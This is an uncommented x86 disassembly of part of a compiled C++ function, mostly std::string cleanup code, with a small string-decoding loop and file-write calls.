movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0x4f
push eax
lea ecx, [ebp - 0x4c]
call fcn.00482d90
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x4216a3
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421699
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ae7
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x4216e1
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4216d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ae7
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x4c
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp ecx, 0x10
jb 0x42173a
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421730
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ae7
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x4b
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x421778
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42176e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421ae7
push ecx
push edx
call fcn.004fb0f1
add esp, 8
xorps xmm0, xmm0
mov word [ebp - 0x24], 0xeaf0
movq qword [ebp - 0x22], xmm0
xor ecx, ecx
mov word [ebp - 0x1a], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 2
jb 0x421790
mov dword [0x55d598], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x22], 0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xb4], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4217d0
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00402b80
cmp dword [ebp - 0xb4], 0x10
lea ecx, [ebp - 0xc8]
lea eax, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0xc8]
cmp dword [ebp - 0x38], 0x10
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.00500f40
mov ecx, dword [ebp - 0xb4]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x42184e
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421844
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421aec
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
test esi, esi
je 0x421932
call fcn.00419d00
test edx, edx
jg 0x42189a
jl 0x421880
test eax, eax
jae 0x42189a
neg eax
lea ecx, [ebp - 0x53]
adc edx, 0
neg edx
push edx
push eax
call fcn.0048db60
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x4218a6
push edx
push eax
lea ecx, [ebp - 0x53]
call fcn.0048db60
mov ecx, eax
xor edx, edx
lea eax, [ebp - 0x53]
add esp, 8
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
cmp ecx, eax
jne 0x4218cc
mov ecx, 0xf
mov byte [ebp - 0x80], dl
mov dword [ebp - 0x6c], ecx
jmp 0x4218e1
lea eax, [ebp - 0x53]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x80]
call fcn.00402b80
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x70]
push esi
cmp ecx, 0x10
lea eax, [ebp - 0x80]
push edx
cmovae eax, dword [ebp - 0x80]
push 1
push eax
call fcn.00508d46
push esi
call fcn.00504958
mov ecx, dword [ebp - 0x6c]
add esp, 0x14
cmp ecx, 0x10
jb 0x421932
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421928
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421af1
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x421966
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42195c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421af6
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x4219a0
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421996
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x4219f5
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4219eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x230]
cmp ecx, 0x10
jb 0x421a2f
mov edx, dword [ebp - 0x244]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0x10
jb 0x421a69
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x421afb
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004023f0
call fcn.004023f0
call fcn.004023f0
call fcn.00500390
push eax
call fcn.004fa09b
call fcn.004023f0
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
push eax
call fcn.004fa09b
call fcn.00500390
call fcn.004023f0
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.004023f0
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
int3